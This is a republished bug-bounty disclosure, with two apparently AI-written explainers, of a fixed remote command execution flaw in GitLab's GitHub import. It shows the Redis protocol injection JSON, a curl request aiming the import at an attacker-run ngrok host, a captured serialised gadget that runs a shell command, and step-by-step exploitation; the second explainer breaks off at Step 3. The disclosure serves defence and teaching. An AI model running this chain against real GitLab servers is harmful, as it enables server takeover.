Skip to content
RCE Disclosed report Advanced CVE-2022-2884

Remote Command Execution via Github import

A GitHub import feature passed attacker-controlled JSON into a Ruby object that could override built-in methods, allowing injection of arbitrary Redis commands. This could be chained with a deserialisation gadget to achieve remote command execution on the GitLab server.

vakzz Follow

Originally disclosed on HackerOne

Bounty$33,510 Critical 9.9 View original
  • Triaged in 26 hours
  • Fixed in 14 days
  • Paid in 11 hours
  • Disclosed after 43 days

Summary

This is very similar to https://about.gitlab.com/releases/2022/08/22/critical-security-release-gitlab-15-3-1-released/#Remote%20Command%20Execution%20via%20Github%20import and allows arbitrary redis commands to be injected when imported a GitHub repository.

When importing a GitHub repo the api client uses Sawyer for handling the responses. This takes a json hash and converts it into a ruby class that has methods matching all of the keys:

https://github.com/lostisland/sawyer/blob/v0.9.2/lib/sawyer/resource.rb#L106-L110

Ruby
    def self.attr_accessor(*attrs)
      attrs.each do |attribute|
        class_eval do
          define_method attribute do
            @attrs[attribute.to_sym]
          end

          define_method "#{attribute}=" do |value|
            @attrs[attribute.to_sym] = value
          end

          define_method "#{attribute}?" do
            !!@attrs[attribute.to_sym]
          end
        end
      end
    end

This happens recursively, and allows for any method to be overridden including built-in methods such as to_s.

The redis gem uses to_s and bytesize to generate the RESP command, so if a Sawyer::Resource is ever passed in that has a controllable hash it can allow arbitrary redis commands to be injected into the stream as the string will be shorter than the $ size provided (see https://redis.io/docs/reference/protocol-spec/)

https://github.com/redis/redis-rb/blob/v4.4.0/lib/redis/connection/command_helper.rb#L20

Ruby
            i = i.to_s
            command << "$#{i.bytesize}"
            command << i

The patch for CVE-2022-2884 added validation to Gitlab::Cache::Import::Caching but there is another spot where the Sawyer::Resource is passed to redis:

https://gitlab.com/gitlab-org/gitlab/-/blob/v15.3.1-ee/lib/gitlab/github_import/importer/repository_importer.rb#L55

Ruby
       def import_repository
          project.ensure_repository

          refmap = Gitlab::GithubImport.refmap
          project.repository.fetch_as_mirror(project.import_url, refmap: refmap, forced: true)

          project.change_head(default_branch) if default_branch

          # The initial fetch can bring in lots of loose refs and objects.
          # Running a `git gc` will make importing pull requests faster.
          Repositories::HousekeepingService.new(project, :gc).execute

          true
        end

The default_branch param comes from the client repository (which is a nested Sawyer::Resource of attacker controlled data), and is passed to change_head which then calls branch_exists? and branch_names_include? which passes the value to redis:

https://gitlab.com/gitlab-org/gitlab/-/blob/v15.3.1-ee/lib/gitlab/repository_cache_adapter.rb#L71

Ruby
        define_method("#{name}_include?") do |value|
          ivar = "@#{name}_include"
          memoized = instance_variable_get(ivar) || {}
          lookup = proc { __send__(name).include?(value) } # rubocop:disable GitlabSecurity/PublicSend

          next memoized[value] if memoized.key?(value)

          memoized[value] =
            if strong_memoized?(name)
              lookup.call
            else
              result, exists = redis_set_cache.try_include?(name, value)

              exists ? result : lookup.call
            end

          instance_variable_set(ivar, memoized)[value]
        end

So by returning an api response with a default_branch that overrides to_s and bytesize you can call arbitrary redis commands:

JSON
        {
            "default_branch": {
                "to_s": {
                    "to_s": 'ggg\r\nINJECT_RESP_HERE',
                    "bytesize": 3,
                }
            }
        }

This can be combined with a call to Marshal.load when loading a _gitlab_session to execute a deserialisation gadget (such as https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html) and gain RCE.

Steps to reproduce

  1. edit (Attachment on the original report: gen_payload3.rb) and change the command at git_set, that will be the command that is executed
  2. change the session:gitlab:gggg to be something other than gggg
  3. run ruby ./gen_payload3.rb and copy the payload
  4. edit (Attachment on the original report: fake_server3.py) and update the payload
  5. run ngrok http 5000 and copy the url
  6. edit fake_server3.py and update the ngrok url
  7. run the server with FLASK_APP=fake_server3.py flask run
  8. run curl --request POST --url "http://gitlab.wbowling.info/api/v4/import/github" --header "content-type: application/json" --header "PRIVATE-TOKEN: API_TOKEN" --data "{\"personal_access_token\": \"fake_token\",\"repo_id\": \"12345\",\"target_namespace\": \"root\",\"new_name\": \"gh-import-$RANDOM\",\"github_hostname\": \"https://9895-45-248-49-157.ngrok.io\"}" replacing gitlab.wbowling.info with your gitlab url, API_TOKEN with a valid gitlab token, target_namespace with a namespace you have access to, and github_hostname with your ngrok url
  9. wait a minute or so, you should see requests coming in to the flask app. Once you see a request for /api/v3/repos/fake/name that should be long enough, there will also be an error in /var/log/gitlab/gitlab-rails/exceptions_json.log about comparison of String with 0 failed
  10. run curl -v 'http://gitlab.wbowling.info/root' -H 'Cookie: _gitlab_session=gggg' replacing gitlab.wbowling.info with your gitlab url and gggg with the string you used in gen_payload3.rb
  11. the payload should have executed

Impact

Allows an attacker with the ability to import a github repo to execute arbitrary commands on the server

Examples

See attached scripts and steps to reproduce

What is the current bug behavior?

The Sawyer::Resource object is passed around and allows an attacker to override builtin methods

What is the expected correct behavior?

The Sawyer::Resource has a to_h method which could potentially be used to ensure a plain has it passed around.

Relevant logs and/or screenshots

redis command ends up as:

[pid  1362] read(67, "*1\r\n$5\r\nmulti\r\n*3\r\n$9\r\nsismember\r\n$53\r\ncache:gitlab:branch_names:root/gh-import-7316:102:set\r\n$3\r\nggg\r\n*3\r\n$3\r\nset\r\n$19\r\nsession:gitlab:jjjj\r\n$330\r\n\4\10[\10c\25Gem::SpecFetcherc\23Gem::InstallerU:\25Gem::Requirement[\6o:\34Gem::Package::TarReader\6:\10@ioo:\24Net::BufferedIO\7;\7o:#Gem::Package::TarReader::Entry\7:\n@readi\0:\f@headerI\"\10aaa\6:\6ET:\22@debug_outputo:\26Net::WriteAdapter\7:\f@socketo:\24Gem::RequestSet\7:\n@setso;\16\7;\17m\vKernel:\17@method_id:\vsystem:\r@git_setI\"\33echo id > /tmp/vakzz22\6;\fT;\22:\fresolve\r\n*2\r\n$6\r\nexists\r\n$53\r\ncache:gitlab:branch_names:root/gh-import-7316:102:set\r\n*1\r\n$4\r\nexec\r\n", 16384) = 570

error in the logs

JSON
{"severity":"ERROR","time":"2022-08-25T03:57:55.006Z","correlation_id":"01GB9JCB7TYNH6F7J7W7NFQTDT","exception.class":"ArgumentError","exception.message":"comparison of String with 0 failed","exception.backtrace":["lib/gitlab/set_cache.rb:60:in `block in try_include?'","lib/gitlab/redis/wrapper.rb:23:in `block in with'","lib/gitlab/redis/wrapper.rb:23:in `with'","lib/gitlab/set_cache.rb:74:in `with'","lib/gitlab/set_cache.rb:59:in `try_include?'","lib/gitlab/repository_cache_adapter.rb:71:in `block in cache_method_as_redis_set'","app/models/repository.rb:288:in `branch_exists?'","app/models/repository.rb:1161:in `change_head'","app/models/concerns/has_repository.rb:17:in `change_head'","lib/gitlab/github_import/importer/repository_importer.rb:55:in `import_repository'","lib/gitlab/github_import/importer/repository_importer.rb:37:in `execute'","app/workers/gitlab/github_import/stage/import_repository_worker.rb:31:in `import'","app/workers/concerns/gitlab/github_import/stage_methods.rb:37:in `try_import'","app/workers/concerns/gitlab/github_import/stage_methods.rb:20:in `perform'","lib/gitlab/database/load_balancing/sidekiq_server_middleware.rb:26:in `call'","lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies/until_executing.rb:16:in `perform'","lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job.rb:58:in `perform'","lib/gitlab/sidekiq_middleware/duplicate_jobs/server.rb:8:in `call'","lib/gitlab/sidekiq_middleware/worker_context.rb:9:in `wrap_in_optional_context'","lib/gitlab/sidekiq_middleware/worker_context/server.rb:19:in `block in call'","lib/gitlab/application_context.rb:110:in `block in use'","lib/gitlab/application_context.rb:110:in `use'","lib/gitlab/application_context.rb:52:in `with_context'","lib/gitlab/sidekiq_middleware/worker_context/server.rb:17:in `call'","lib/gitlab/sidekiq_status/server_middleware.rb:7:in `call'","lib/gitlab/sidekiq_versioning/middleware.rb:9:in `call'","lib/gitlab/sidekiq_middleware/query_analyzer.rb:7:in `block in call'","lib/gitlab/database/query_analyzer.rb:37:in `within'","lib/gitlab/sidekiq_middleware/query_analyzer.rb:7:in `call'","lib/gitlab/sidekiq_middleware/admin_mode/server.rb:14:in `call'","lib/gitlab/sidekiq_middleware/instrumentation_logger.rb:9:in `call'","lib/gitlab/sidekiq_middleware/batch_loader.rb:7:in `call'","lib/gitlab/sidekiq_middleware/extra_done_log_metadata.rb:7:in `call'","lib/gitlab/sidekiq_middleware/request_store_middleware.rb:10:in `block in call'","lib/gitlab/with_request_store.rb:17:in `enabling_request_store'","lib/gitlab/with_request_store.rb:10:in `with_request_store'","lib/gitlab/sidekiq_middleware/request_store_middleware.rb:9:in `call'","lib/gitlab/sidekiq_middleware/server_metrics.rb:76:in `block in call'","lib/gitlab/sidekiq_middleware/server_metrics.rb:103:in `block in instrument'","lib/gitlab/metrics/background_transaction.rb:33:in `run'","lib/gitlab/sidekiq_middleware/server_metrics.rb:103:in `instrument'","lib/gitlab/sidekiq_middleware/server_metrics.rb:75:in `call'","lib/gitlab/sidekiq_middleware/monitor.rb:10:in `block in call'","lib/gitlab/sidekiq_daemon/monitor.rb:49:in `within_job'","lib/gitlab/sidekiq_middleware/monitor.rb:9:in `call'","lib/gitlab/sidekiq_middleware/size_limiter/server.rb:13:in `call'","lib/gitlab/sidekiq_logging/structured_logger.rb:21:in `call'"],"user.username":"root","tags.program":"sidekiq","tags.locale":"en","tags.feature_category":"importers","tags.correlation_id":"01GB9JCB7TYNH6F7J7W7NFQTDT","extra.sidekiq":{"retry":5,"queue":"github_importer:github_import_stage_import_repository","version":0,"queue_namespace":"github_importer","dead":false,"memory_killer_memory_growth_kb":50,"memory_killer_max_memory_growth_kb":300000,"status_expiration":1800,"args":["[FILTERED]"],"class":"Gitlab::GithubImport::Stage::ImportRepositoryWorker","jid":"f6fd0ce785d6cc8e91b5b776","created_at":1661399872.1377518,"correlation_id":"01GB9JCB7TYNH6F7J7W7NFQTDT","meta.caller_id":"RepositoryImportWorker","meta.remote_ip":"192.168.0.149","meta.feature_category":"importers","meta.user":"root","meta.project":"root/gh-import-7316","meta.root_namespace":"root","meta.client_id":"user/1","meta.root_caller_id":"POST /api/:version/import/github","worker_data_consistency":"always","idempotency_key":"resque:gitlab:duplicate:github_importer:github_import_stage_import_repository:797f481f035041a27c840a58899f1557fc2a102dfc05bc2cb918651c86da1219","size_limiter":"validated","enqueued_at":1661399872.1395159},"extra.import_type":"github","extra.project_id":102,"extra.source":"Gitlab::GithubImport::Stage::ImportRepositoryWorker"}

Output of checks

Results of GitLab environment info

System information
System:		Ubuntu 20.04
Proxy:		no
Current User:	git
Using RVM:	no
Ruby Version:	2.7.5p203
Gem Version:	3.1.6
Bundler Version:2.3.15
Rake Version:	13.0.6
Redis Version:	6.2.7
Sidekiq Version:6.4.0
Go Version:	unknown

GitLab information
Version:	15.3.1-ee
Revision:	518311979e3
Directory:	/opt/gitlab/embedded/service/gitlab-rails
DB Adapter:	PostgreSQL
DB Version:	12.10
URL:		http://gitlab.wbowling.info
HTTP Clone URL:	http://gitlab.wbowling.info/some-group/some-project.git
SSH Clone URL:	[email protected]:some-group/some-project.git
Elasticsearch:	no
Geo:		no
Using LDAP:	no
Using Omniauth:	yes
Omniauth Providers:

GitLab Shell
Version:	14.10.0
Repository storage paths:
- default: 	/var/opt/gitlab/git-data/repositories
GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell

Impact

Allows an attacker with the ability to import a github repo to execute arbitrary commands on the server

The original report as published on HackerOne, by vakzz. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

Context

GitLab can import a repository from GitHub. When you start such an import, GitLab talks to the GitHub API on your behalf, using the personal access token you supply, and mirrors the repository into a new project. The import runs as a background job (Sidekiq), not in the web request, so the API calls and the repository work happen asynchronously after the import is queued.

The report describes a remote command execution bug in that import path. It is explicitly described as very similar to the fix shipped in GitLab 15.3.1 for "Remote Command Execution via Github import" (CVE-2022-2884). The earlier patch added validation to Gitlab::Cache::Import::Caching, but the researcher found another place where attacker-controlled data reaches Redis.

The weakness class recorded for the report is command injection, and the impact is that anyone able to import a GitHub repository can execute arbitrary commands on the GitLab server.

Setup

The researcher tested against their own GitLab instance. The environment information in the report lists:

Component Version
GitLab 15.3.1-ee (revision 518311979e3)
Ruby 2.7.5p203
Redis 6.2.7
Sidekiq 6.4.0
OS Ubuntu 20.04
Database PostgreSQL 12.10

Preconditions that follow from the report:

  1. A GitLab account with a personal access token that can call the import API, and a namespace the account can create projects in.
  2. The ability to run a fake GitHub API server that the GitLab instance can reach. The researcher used Flask and exposed it with ngrok.
  3. A way to send a request to the GitLab instance with a chosen _gitlab_session cookie value.
  4. Two helper scripts, attached to the report as gen_payload3.rb and fake_server3.py, which generate the payload and serve the fake API responses.

The report does not include the contents of either script.

Finding it

When GitLab imports a GitHub repository, the API client uses the Sawyer library to handle responses. Sawyer takes a JSON hash and turns it into a Ruby class whose methods match all of the keys. The report quotes the relevant part of sawyer/resource.rb (v0.9.2, lines 106 to 110):

Ruby
    def self.attr_accessor(*attrs)
      attrs.each do |attribute|
        class_eval do
          define_method attribute do
            @attrs[attribute.to_sym]
          end

          define_method "#{attribute}=" do |value|
            @attrs[attribute.to_sym] = value
          end

          define_method "#{attribute}?" do
            !!@attrs[attribute.to_sym]
          end
        end
      end
    end

This happens recursively, so any method can be overridden, including built-in methods such as to_s.

The redis gem builds the RESP command using to_s and bytesize. The report quotes redis-rb v4.4.0, lib/redis/connection/command_helper.rb, line 20:

Ruby
            i = i.to_s
            command << "$#{i.bytesize}"
            command << i

If a Sawyer::Resource with a controllable hash is ever passed to redis, the attacker controls both the string that is written and the length prefix that is written before it. Because the declared $ size can be made shorter than the actual string, the remainder of the string is interpreted by Redis as further commands. The report links to the Redis protocol specification for this behaviour.

The patch for CVE-2022-2884 added validation to Gitlab::Cache::Import::Caching, but the researcher found another spot where a Sawyer::Resource is passed to redis, in lib/gitlab/github_import/importer/repository_importer.rb line 55 (v15.3.1-ee):

Ruby
       def import_repository
          project.ensure_repository

          refmap = Gitlab::GithubImport.refmap
          project.repository.fetch_as_mirror(project.import_url, refmap: refmap, forced: true)

          project.change_head(default_branch) if default_branch

          # The initial fetch can bring in lots of loose refs and objects.
          # Running a `git gc` will make importing pull requests faster.
          Repositories::HousekeepingService.new(project, :gc).execute

          true
        end

The default_branch parameter comes from the client repository, which is a nested Sawyer::Resource built from attacker-controlled data. It is passed to change_head, which calls branch_exists? and branch_names_include?, and that path passes the value to redis. The report quotes lib/gitlab/repository_cache_adapter.rb line 71:

Ruby
        define_method("#{name}_include?") do |value|
          ivar = "@#{name}_include"
          memoized = instance_variable_get(ivar) || {}
          lookup = proc { __send__(name).include?(value) } # rubocop:disable GitlabSecurity/PublicSend

          next memoized[value] if memoized.key?(value)

          memoized[value] =
            if strong_memoized?(name)
              lookup.call
            else
              result, exists = redis_set_cache.try_include?(name, value)

              exists ? result : lookup.call
            end

          instance_variable_set(ivar, memoized)[value]
        end

So by returning an API response whose default_branch overrides to_s and bytesize, the attacker can make GitLab issue arbitrary redis commands. The report gives this JSON as the shape of that response:

JSON
        {
            "default_branch": {
                "to_s": {
                    "to_s": 'ggg\r\nINJECT_RESP_HERE',
                    "bytesize": 3,
                }
            }
        }

The nested to_s object supplies the string that redis will write, and bytesize supplies the declared length. With bytesize set to 3, only the first three characters (ggg) are consumed as the value, and everything after them is parsed by Redis as new commands.

In the captured stream the injected commands include a SET of a session:gitlab:* key holding a serialised Ruby object. The report says this can be combined with a call to Marshal.load when loading a _gitlab_session to execute a deserialisation gadget, such as the universal deserialisation gadget for Ruby 2.x and 3.x published by devcraft.io, and thereby gain RCE.

Exploitation

Step 1: Set the command in the payload generator

Edit gen_payload3.rb and change the command at git_set. That is the command that will be executed on the GitLab server. The report does not include the script, so the exact variable context is not shown.

Step 2: Choose the session key suffix

Change the session:gitlab:gggg key to something other than gggg. This is the redis key that will hold the serialised gadget, and the same string has to be used later as the _gitlab_session cookie value.

Step 3: Generate the payload

Run the generator and copy the payload:

Bash
ruby ./gen_payload3.rb

Step 4: Put the payload into the fake server

Edit fake_server3.py and update the payload with the generated value. This server impersonates the GitHub API and returns the crafted default_branch object.

Step 5: Expose the fake server

Bash
ngrok http 5000

Copy the resulting URL.

Step 6: Point the fake server at its own public URL

Edit fake_server3.py and update the ngrok URL. The report does not explain what this URL is used for inside the script.

Step 7: Start the fake GitHub API

Bash
FLASK_APP=fake_server3.py flask run

Step 8: Trigger the import

Bash
curl --request POST --url "http://gitlab.wbowling.info/api/v4/import/github"  --header "content-type: application/json" --header "PRIVATE-TOKEN: API_TOKEN" --data "{\"personal_access_token\": \"fake_token\",\"repo_id\": \"12345\",\"target_namespace\": \"root\",\"new_name\": \"gh-import-$RANDOM\",\"github_hostname\": \"https://9895-45-248-49-157.ngrok.io\"}"

Replace gitlab.wbowling.info with your GitLab URL, API_TOKEN with a valid GitLab token, target_namespace with a namespace you have access to, and github_hostname with your ngrok URL. Replace github_hostname with your ngrok URL.

Step 9: Wait for the import to reach the vulnerable call

Wait a minute or so and watch the requests arriving at the Flask app. Once a request for /api/v3/repos/fake/name has been served, that is long enough. At that point there will also be an error in /var/log/gitlab/gitlab-rails/exceptions_json.log about comparison of String with 0 failed.

The error appears in the log with a backtrace running through try_include?, branch_exists? and change_head. The report shows the redis command as it appeared on the wire:

Text
[pid  1362] read(67, "*1\r\n$5\r\nmulti\r\n*3\r\n$9\r\nsismember\r\n$53\r\ncache:gitlab:branch_names:root/gh-import-7316:102:set\r\n$3\r\nggg\r\n*3\r\n$3\r\nset\r\n$19\r\nsession:gitlab:jjjj\r\n$330\r\n\4\10[\10c\25Gem::SpecFetcherc\23Gem::InstallerU:\25Gem::Requirement[\6o:\34Gem::Package::TarReader\6:\10@ioo:\24Net::BufferedIO\7;\7o:#Gem::Package::TarReader::Entry\7:\n@readi\0:\f@headerI\"\10aaa\6:\6ET:\22@debug_outputo:\26Net::WriteAdapter\7:\f@socketo:\24Gem::RequestSet\7:\n@setso;\16\7;\17m\vKernel:\17@method_id:\vsystem:\r@git_setI\"\33echo id > /tmp/vakzz22\6;\fT;\22:\fresolve\r\n*2\r\n$6\r\nexists\r\n$53\r\ncache:gitlab:branch_names:root/gh-import-7316:102:set\r\n*1\r\n$4\r\nexec\r\n", 16384) = 570

Reading it as RESP: the client opens a MULTI, then sends SISMEMBER on the branch-names cache set with the value ggg. Because the declared length was 3, the rest of the string is parsed as new commands: a SET of session:gitlab:jjjj holding the serialised gadget (whose @git_set is echo id > /tmp/vakzz22), then EXISTS on the same cache set, then EXEC. The whole transaction is 570 bytes.

The corresponding error entry in the log is:

The backtrace runs from try_include? through branch_exists? and change_head into import_repository, confirming the path described above. The job is Gitlab::GithubImport::Stage::ImportRepositoryWorker, the import type is github, and the root caller is POST /api/:version/import/github.

Step 10: Trigger the deserialisation

Bash
curl -v 'http://gitlab.wbowling.info/root' -H 'Cookie: _gitlab_session=gggg'

Replace gitlab.wbowling.info with your GitLab URL and gggg with the string used in gen_payload3.rb. Loading the session causes GitLab to read the session:gitlab:gggg key that the injected redis commands wrote, and to Marshal.load its contents, which runs the gadget and therefore the command set at git_set.

Step 11: Confirm execution

The payload should have executed. In the captured redis command the gadget's @git_set was echo id > /tmp/vakzz22.

Root cause

Sawyer builds a Ruby object from the JSON returned by the API, and defines a method for every key, recursively. That includes keys that collide with methods Ruby and the redis gem rely on. GitLab then passes that object, rather than a plain hash, into code that eventually hands it to redis. The redis gem calls to_s to get the value and bytesize to get the length prefix, and both are attacker-controlled, so the length prefix can be made shorter than the string and the surplus is parsed by Redis as additional commands.

The earlier fix for CVE-2022-2884 added validation in Gitlab::Cache::Import::Caching. The default_branch value reaching change_head, branch_exists? and the redis set cache in repository_cache_adapter.rb was another spot where the resource reaches redis. The report's own framing of the bug is that the Sawyer::Resource object is passed around and allows an attacker to override built-in methods.

The report does not state which GitLab version fixed this issue.

Impact

An attacker with the ability to import a GitHub repository can execute arbitrary commands on the GitLab server. In the demonstrated chain the commands are injected into Redis and used to plant a serialised gadget in a session key, which is then deserialised when a request presents the matching _gitlab_session cookie. The report hedges the final step as something that "can be combined" with Marshal.load, and the gadget it cites is one for Ruby 2.x and 3.x, so the RCE depends on a suitable gadget being available in the running Ruby environment.

Fix

Its suggestion for the correct behaviour is that Sawyer::Resource has a to_h method, which could potentially be used to ensure a plain hash is passed around instead of the resource object. That would stop attacker-supplied keys from overriding methods such as to_s and bytesize before the value reaches redis.

Variants to test

  1. Look for other places where a Sawyer::Resource from an import response reaches redis, a shell, a template or any other sink that calls to_s, bytesize or similar methods. A positive result is a crafted key in the API response that changes the value or length seen by the sink.
  2. Repeat the same idea on other importers that use Sawyer or a similar hash-to-object mapper. A positive result is that a nested object in the remote API response survives into a sink without being converted with to_h.
  3. Check whether the earlier Gitlab::Cache::Import::Caching validation covers every caller, not just the one it was written for. A positive result is a second call path that reaches redis with an unvalidated object.
  4. Test other method names that a sink might call on the object, not only to_s and bytesize. A positive result is any overridden method that changes what the sink writes or how much it writes.
  5. Try the same RESP length-mismatch idea against any client that computes a length from one method and writes the value from another. A positive result is extra commands appearing in the stream after the declared value.

Hunting notes

This kind of bug hides where a service parses a third-party API response into objects with dynamic methods and then passes those objects into lower-level clients. Importers, mirroring features, webhook handlers and anything that lets a user point the product at an attacker-controlled host are good places to look. The github_hostname field in the import request is the signal here: it lets the attacker choose where the API responses come from.

During recon, look for features that accept a remote host or URL and then make server-side API calls to it, and for code paths where the parsed response is cached in Redis or another store. The error comparison of String with 0 failed in the exceptions log, together with a redis SISMEMBER on a cache set, is a strong indicator that a crafted object reached the cache layer.

The report shows a crafted API response, the injected redis commands visible on the wire, the resulting exception in the log, and a deserialisation gadget planted in a session key. That end-to-end evidence, rather than the injection alone, is what establishes remote command execution.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 17 min read.

What happened, in plain words

GitLab is a website where teams keep and share computer code. One of its features lets you copy a project from another code-hosting site, GitHub, into GitLab. You give GitLab a token (a long secret string that acts like a password for a service) and GitLab goes off and fetches the repository for you.

This report shows that a person who can start such an import can make the GitLab server run any command they like on the machine. The trick is to make GitLab talk to a fake GitHub server that the attacker controls, and to have that fake server send back a specially shaped answer. GitLab stores parts of that answer in Redis, a very fast in-memory database that GitLab uses as a cache (a place to keep frequently used data so it does not have to be recomputed). The crafted answer smuggles extra commands into the conversation with Redis. Those extra commands write a serialised value into a session key, and the report says this can be combined with Marshal.load when loading a _gitlab_session to gain RCE.

The report calls this a command injection. In plain terms, command injection means that data which should be treated as harmless text ends up being interpreted as instructions by some program. Here the program is Redis, and the instructions are Redis commands.

The researcher notes the bug is very similar to one that was already fixed in GitLab 15.3.1 (tracked as CVE-2022-2884). That earlier fix added a check in one place, but the researcher found a second place where the same kind of data reaches Redis without being checked.

The setup

The researcher tested against their own GitLab instance, not someone else's. The report lists the environment:

Component Version
GitLab 15.3.1-ee (revision 518311979e3)
Ruby 2.7.5p203
Redis 6.2.7
Sidekiq 6.4.0
OS Ubuntu 20.04
Database PostgreSQL 12.10

Ruby is the programming language GitLab is written in. Sidekiq is the background-job system: instead of doing slow work while the user waits on a web page, GitLab hands the work to Sidekiq, which does it later in the background. The import is one of those background jobs.

To reproduce the bug you need:

  1. A GitLab account with a personal access token that is allowed to call the import API, and a namespace (a folder-like area where projects live) that the account can create projects in.
  2. A fake GitHub API server that the GitLab instance can reach. The researcher used Flask, a small Python web framework, and exposed it to the internet with ngrok, a tool that gives a local server a public web address.
  3. A way to send a request to GitLab with a chosen _gitlab_session cookie value. A cookie is a small piece of text a website asks your browser to keep and send back on every request; GitLab uses one called _gitlab_session to recognise your logged-in session.
  4. Two helper scripts, attached to the report as gen_payload3.rb and fake_server3.py, which generate the payload and serve the fake API responses.

The report does not include the contents of either script.

Finding it

When GitLab imports a GitHub repository, it talks to GitHub through an API. An API is a defined way for two programs to talk to each other: one program sends a request in an agreed format, and the other sends back a structured answer, usually in a format called JSON (text that looks like {"key": "value"}).

GitLab uses a Ruby library called Sawyer to handle those answers. Sawyer takes the JSON and turns it into a Ruby object whose methods match all of the keys in the JSON. A method is a named action an object can perform; for example, a Ruby object has a built-in method called to_s that returns the object as a piece of text. The report quotes the relevant part of sawyer/resource.rb (v0.9.2, lines 106 to 110):

Ruby
    def self.attr_accessor(*attrs)
      attrs.each do |attribute|
        class_eval do
          define_method attribute do
            @attrs[attribute.to_sym]
          end

          define_method "#{attribute}=" do |value|
            @attrs[attribute.to_sym] = value
          end

          define_method "#{attribute}?" do
            !!@attrs[attribute.to_sym]
          end
        end
      end
    end

Line by line:

  • def self.attr_accessor(*attrs) defines a method that takes any number of attribute names.
  • attrs.each do |attribute| loops over each name.
  • class_eval do opens a block where new methods are defined on the class itself.
  • define_method attribute do creates a method named after the attribute, which returns the stored value.
  • define_method "#{attribute}=" do |value| creates a setter method, so you can assign a value to that attribute.
  • define_method "#{attribute}?" do creates a method ending in a question mark, which returns true or false depending on whether the value is set.
  • !!@attrs[attribute.to_sym] converts the stored value into a strict true or false.

This happens recursively, meaning it applies to nested objects too. So any method can be overridden, including built-in methods such as to_s.

The redis gem (the Ruby library GitLab uses to talk to Redis) builds the command it sends using to_s and bytesize. bytesize is a method that returns how many bytes long a piece of text is. The report quotes redis-rb v4.4.0, lib/redis/connection/command_helper.rb, line 20:

Ruby
            i = i.to_s
            command << "$#{i.bytesize}"
            command << i

Line by line:

  • i = i.to_s turns the value into text.
  • command << "$#{i.bytesize}" appends a dollar sign followed by the length of that text. This is part of RESP, the Redis Serialisation Protocol: the format Redis uses to understand commands. In RESP, $3 means "the next value is exactly 3 bytes long".
  • command << i appends the text itself.

If a Sawyer::Resource with a controllable hash is ever passed to redis, the attacker controls both the string that is written and the length prefix that is written before it. A hash is Ruby's name for a collection of key-value pairs. Because the declared $ size can be made shorter than the actual string, the remainder of the string is interpreted by Redis as further commands. The report links to the Redis protocol specification for this behaviour.

The patch for CVE-2022-2884 added validation to Gitlab::Cache::Import::Caching, but the researcher found another spot where a Sawyer::Resource is passed to redis, in lib/gitlab/github_import/importer/repository_importer.rb line 55 (v15.3.1-ee):

Ruby
       def import_repository
          project.ensure_repository

          refmap = Gitlab::GithubImport.refmap
          project.repository.fetch_as_mirror(project.import_url, refmap: refmap, forced: true)

          project.change_head(default_branch) if default_branch

          # The initial fetch can bring in lots of loose refs and objects.
          # Running a `git gc` will make importing pull requests faster.
          Repositories::HousekeepingService.new(project, :gc).execute

          true
        end

Line by line:

  • def import_repository starts the method that performs the import.
  • project.ensure_repository makes sure the project has a repository on disk.
  • refmap = Gitlab::GithubImport.refmap gets a mapping of references used during the import.
  • project.repository.fetch_as_mirror(...) fetches the repository from the import URL as a mirror, forcing the fetch.
  • project.change_head(default_branch) if default_branch sets the default branch of the new project, but only if a default branch was supplied.
  • The comment explains that running git gc (garbage collection, a cleanup step) makes importing pull requests faster.
  • Repositories::HousekeepingService.new(project, :gc).execute runs that cleanup.
  • true returns success.

The default_branch parameter comes from the client repository, which is a nested Sawyer::Resource built from attacker-controlled data. It is passed to change_head, which calls branch_exists? and branch_names_include?, and that path passes the value to redis. The report quotes lib/gitlab/repository_cache_adapter.rb line 71:

Ruby
        define_method("#{name}_include?") do |value|
          ivar = "@#{name}_include"
          memoized = instance_variable_get(ivar) || {}
          lookup = proc { __send__(name).include?(value) } # rubocop:disable GitlabSecurity/PublicSend

          next memoized[value] if memoized.key?(value)

          memoized[value] =
            if strong_memoized?(name)
              lookup.call
            else
              result, exists = redis_set_cache.try_include?(name, value)

              exists ? result : lookup.call
            end

          instance_variable_set(ivar, memoized)[value]
        end

Line by line:

  • define_method("#{name}_include?") do |value| creates a method such as branch_names_include? that takes a value to look for.
  • ivar = "@#{name}_include" builds the name of an instance variable, a place to remember results.
  • memoized = instance_variable_get(ivar) || {} fetches that remembered collection, or starts an empty one. Memoisation means remembering a result so you do not compute it twice.
  • lookup = proc { __send__(name).include?(value) } prepares a fallback that checks the value against the real list.
  • next memoized[value] if memoized.key?(value) returns the remembered answer if there is one.
  • if strong_memoized?(name) checks whether the list is already fully loaded in memory.
  • result, exists = redis_set_cache.try_include?(name, value) otherwise asks the Redis cache whether the value is in the set.
  • exists ? result : lookup.call uses the cached answer if it exists, otherwise runs the fallback.
  • instance_variable_set(ivar, memoized)[value] stores the answer and returns it.

So by returning an API response whose default_branch overrides to_s and bytesize, the attacker can make GitLab issue arbitrary redis commands. The report gives this JSON as the shape of that response:

JSON
        {
            "default_branch": {
                "to_s": {
                    "to_s": 'ggg\r\nINJECT_RESP_HERE',
                    "bytesize": 3,
                }
            }
        }

Line by line:

  • "default_branch" is the key GitLab reads as the branch name.
  • Inside it, "to_s" is a nested object that replaces the normal text conversion.
  • Inside that, "to_s" supplies the text Redis will write: ggg followed by a line break and then the injected Redis commands.
  • "bytesize": 3 claims the text is only 3 bytes long.

With bytesize set to 3, only the first three characters (ggg) are consumed as the value, and everything after them is parsed by Redis as new commands.

The injected commands are used to write a serialised Ruby object into a session:gitlab:* key. Serialisation means turning an object in memory into a stream of bytes that can be stored or sent, and deserialisation is the reverse. The report says this can be combined with a call to Marshal.load when loading a _gitlab_session to execute a deserialisation gadget, such as the universal deserialisation gadget for Ruby 2.x and 3.x published by devcraft.io, and thereby gain RCE. RCE stands for remote code execution: running your own code on someone else's machine. A gadget, in this context, is a piece of existing code that, when unpacked from serialised data, ends up doing something useful to the attacker.

Exploitation

Step 1: Set the command in the payload generator

Edit gen_payload3.rb and change the command at git_set. That is the command that will be executed on the GitLab server. The report does not include the script, so the exact variable context is not shown.

Step 2: Choose the session key suffix

Change the session:gitlab:gggg key to something other than gggg. This is the redis key that will hold the serialised gadget, and the same string has to be used later as the _gitlab_session cookie value.

Step 3: Generate the payload

Run the generator and copy the payload:

Bash
